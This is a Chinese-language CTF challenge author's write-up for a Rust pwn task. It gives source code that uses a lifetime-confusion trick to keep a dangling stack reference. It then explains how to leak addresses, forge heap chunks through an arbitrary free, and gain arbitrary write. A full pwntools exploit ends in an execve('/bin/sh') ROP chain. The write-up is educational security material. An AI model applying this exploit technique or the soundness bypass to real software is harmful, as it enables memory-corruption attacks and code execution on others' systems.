出题思路
本题最终解数为42,因为题目难度不大,总体符合预期。题目是用rust写的代码,同时赛前夜里临时决定删除符号不给源码,一方面导致选手逆向难度很大,另一方面也让大部分选手把精力集中在动调上,避免陷入源码的细节。在出题过程中其实也没有漏洞和明确利用手法的考点,题目是一边学习一边调试的时候出出来的,再次把出题思路分享给大家,算是抛砖引玉。
?
?
这里还是首先给出源码( rustc 1.82.0-nightly (cefe1dcef 2024-07-22) ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | use std::fmt;use std::io::{self, Read, Write};const MAX_MSG_LEN: usize = 0x50;struct Msg { data: [u8; MAX_MSG_LEN],}impl Msg { #[inline(never)] fn new() -> Self { Msg { data: [0; MAX_MSG_LEN], } }}impl fmt::Display for Msg { #[inline(never)] fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{:?}", self.data) }}#[inline(never)]fn prompt(msg: String) { print!("{} > ", msg); io::stdout().flush().unwrap();}struct ChatBox { msg_list: Vec<&'static mut Msg>,}impl ChatBox { #[inline(never)] fn new() -> Self { ChatBox { msg_list: Vec::new(), } } #[inline(never)] fn add_msg(&mut self) { println!("Adding a new message"); self.msg_list.push(self.get_ptr()); println!( "Successfully added a new message with index: {}", self.msg_list.len() - 1 ); } #[inline(never)] fn show_msg(&mut self) { prompt("Index".parse().unwrap()); let mut index = String::new(); io::stdin().read_line(&mut index).expect("Failed to read"); let index: usize = index.trim().parse().expect("Invalid!"); println!("Content: {}", self.msg_list[index]); } #[inline(never)] fn edit_msg(&mut self) { prompt("Index".parse().unwrap()); let mut index = String::new(); io::stdin().read_line(&mut index).expect("Failed to read"); let index: usize = index.trim().parse().expect("Invalid!"); prompt("Content".parse().unwrap()); let mut handle = io::stdin().lock(); handle.read(&mut self.msg_list[index].data).expect("Failed to read"); println!("Content: {}", self.msg_list[index]); } #[inline(never)] fn delete_msg(&mut self) { prompt("Index".parse().unwrap()); let mut index = String::new(); io::stdin().read_line(&mut index).expect("Failed to read"); let index: usize = index.trim().parse().expect("Invalid!"); self.msg_list.remove(index); } #[inline(never)] fn get_ptr(&self) -> &'static mut Msg { const S: &&() = &&(); fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T { fn ident<'a, 'b, T: ?Sized>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T { val_b } let f: fn(_, &'a mut T) -> &'b mut T = ident; f(S, x) } let mut msg = Msg::new(); get_ptr(&mut msg) }}#[inline(never)]fn main() { let mut chat_box = ChatBox::new(); println!("I am a chatting bot of QWB S8, you can chat with me."); println!("If you delight me, I will give you flag!"); println!("This is function menu: "); println!("1. add"); println!("2. show"); println!("3. edit"); println!("4. delete"); println!("5. exit"); loop { prompt("Choice".parse().unwrap()); let mut choice = String::new(); io::stdin().read_line(&mut choice).expect("Failed to read"); let choice: i8 = choice.trim().parse().expect("Invalid!"); match choice { 1 => chat_box.add_msg(), 2 => chat_box.show_msg(), 3 => chat_box.edit_msg(), 4 => chat_box.delete_msg(), 5 => break, _ => println!("Invalid Choice!") } }} |
本题在构思的时候其实是想用不含unsafe的rust语言构造一个漏洞,因此一方面在RustSec上寻找合适的漏洞,另一方面发现了cve-rs项目。首先在RustSec找的漏洞不太适合出题,又限于出题时间和自身水平,最终还是选择用cve-rs内的原理,“盗用”了
UIUCTF 2024 Rusty Pointer题目的触发POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 | fn get_ptr(&self) -> &'static mut Msg { const S: &&() = &&(); fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T { fn ident<'a, 'b, T: ?Sized>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T { val_b } let f: fn(_, &'a mut T) -> &'b mut T = ident; f(S, x) } let mut msg = Msg::new(); get_ptr(&mut msg) } |
据我的理解,这段POC实际上是利用对变量静态生存周期的混淆,欺骗rust编译器不释放离开生存期的变量。
通过上述的技术原理,我们可以得到一个离开生存期仍然可用的指针(或者说对象),在此题中将其用到了栈上对象,因此我们可以获得一个get_ptr?函数内的一个栈对象msg?:
?
?
而每次add?的时候,由于函数调用的顺序不变,实际上每次申请得到的地址都是一样的。虽说这样让程序逻辑有些奇怪,但是也让堆的可控变小了。另外,Msg?的大小变化其实会导致栈布局,包括该离开生命周期的栈指针的能力发生变化,有时可以直接写到返回地址,这太简单了肯定不行:)
1 | const MAX_MSG_LEN: usize = 0x50; |
解题思路
一血战队ACT的解法实际上跟我的预期解是一样的。通过show可以泄露栈上的堆地址、栈地址、ELF地址,通过edit?我们可以发现存在任意地址释放,但是问题在于怎样利用该能力实现栈地址写或者任意地址写。
我们现在手上有两个条件,首先是任意地址释放,其次是rust的vec?类似于C++,使用realloc?扩容,其指针数组也存储在堆上。
?
?
因此不难想到通过释放伪造堆块,将vec?的指针数组劫持到我们可控的位置,而我们可控的位置最直接的就是栈上0x50的空间,另一个是stdin的输入在堆上的缓冲区
?
?
实际上从选手做法来看,这两个位置都可以成功伪造堆块,实现控制vec?的指针。
这里给出我的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | #!/usr/bin/env python"""author: GeekCmoretime: 2024-10-30 17:06:06"""from pwn import *filename = "/home/geekcmore/Desktop/qwb/chat_with_me/attachments/pwn"libcname = "/home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"host = "localhost"port = 6666elf = context.binary = ELF(filename)if libcname: libc = ELF(libcname)gs = """b *$rebase(0x1A979)b /home/geekcmore/RustroverProjects/chat-with-me/src/main.rs:145set debug-file-directory /home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6-dbg_2.39-0ubuntu8.3_amd64/usr/lib/debugset directories /home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/glibc-source_2.39-0ubuntu8.3_all/usr/src/glibc/glibc-2.39"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def add(): p.sendlineafter(b"Choice > ", b"1")def show(idx): p.sendlineafter(b"Choice > ", b"2") p.sendlineafter(b"Index > ", str(idx).encode())def edit(idx, content): p.sendlineafter(b"Choice > ", b"3") p.sendlineafter(b"Index > ", str(idx).encode()) p.sendafter(b"Content > ", content)def delete(idx): p.sendlineafter(b"Choice > ", b"4") p.sendlineafter(b"Index > ", str(idx).encode())def quit(): p.sendlineafter(b"Choice > ", b"5")def tidy(): p.recvuntil(b"Content: ") y = p.recvline()[1:-2].decode().replace(" ", "").split(",") values = [] for i in range(10): tmp = 0 for j in range(8): tmp += int(y[i * 8 + 7 - j]) tmp <<= 8 tmp >>= 8 values.append(tmp) info([hex(x) for x in values]) return valuesadd()show(0)addr_list = tidy()stack_addr = addr_list[4]elf.address = addr_list[5] - 0x635B0heap_addr = addr_list[1]success(f"stack_addr -> {hex(stack_addr)}")success(f"elf_addr -> {hex(elf.address)}")success(f"heap_addr -> {hex(heap_addr)}")fake_heap = p64(1) + p64(0x91) + p64(1) * 2 + p64(heap_addr - 0x2010) + p64(0x1FE1)edit(0, fake_heap)tidy()# pause()for _ in range(6): add()info("start")def arb_qword(addr, qword): edit(1, p64(0) * 5 + p64(0x51) + p64(addr)) info(f"Write {hex(u64(qword))} to [{hex(addr)}]") edit(0, qword)def arb_write(addr, content): for i in range(0, len(content), 8): arb_qword(addr + i, content[i : i + 8])ret_addr = stack_addr + 0x3D0syscall = elf.address + 0x0000000000026FCFpop_rdi_rbp = elf.address + 0x000000000001DD45pop_rsi_rbp = elf.address + 0x000000000001E032pop_rax = elf.address + 0x0000000000016F3Epop_rdx_xor_ptrax = elf.address + 0x0000000000045DC5sub_rdx_rcx_add_rax_rcx = elf.address + 0x000000000001FC60pop_rcx = elf.address + 0x0000000000017FFFret = elf.address + 0x0000000000016BD8payload = b""payload += p64(pop_rdi_rbp) + p64(ret_addr + 0x60) + p64(0)payload += p64(pop_rsi_rbp) + p64(0) + p64(0)payload += p64(pop_rcx) + p64(0x33)payload += p64(sub_rdx_rcx_add_rax_rcx)payload += p64(pop_rax) + p64(constants.SYS_execve)payload += p64(syscall)payload += b"/bin/sh\x00"arb_write(ret_addr, payload)quit()p.interactive() |
非预期思路
实际上在输入choice?的时候输入的字符会开辟新的堆空间存储,因此也有队伍把栈上伪造的堆释放到tcache,接着实现栈溢出。
?
?
此外还有选手发现delete?的时候实际上会申请堆块,这我就没有往下深入研究了。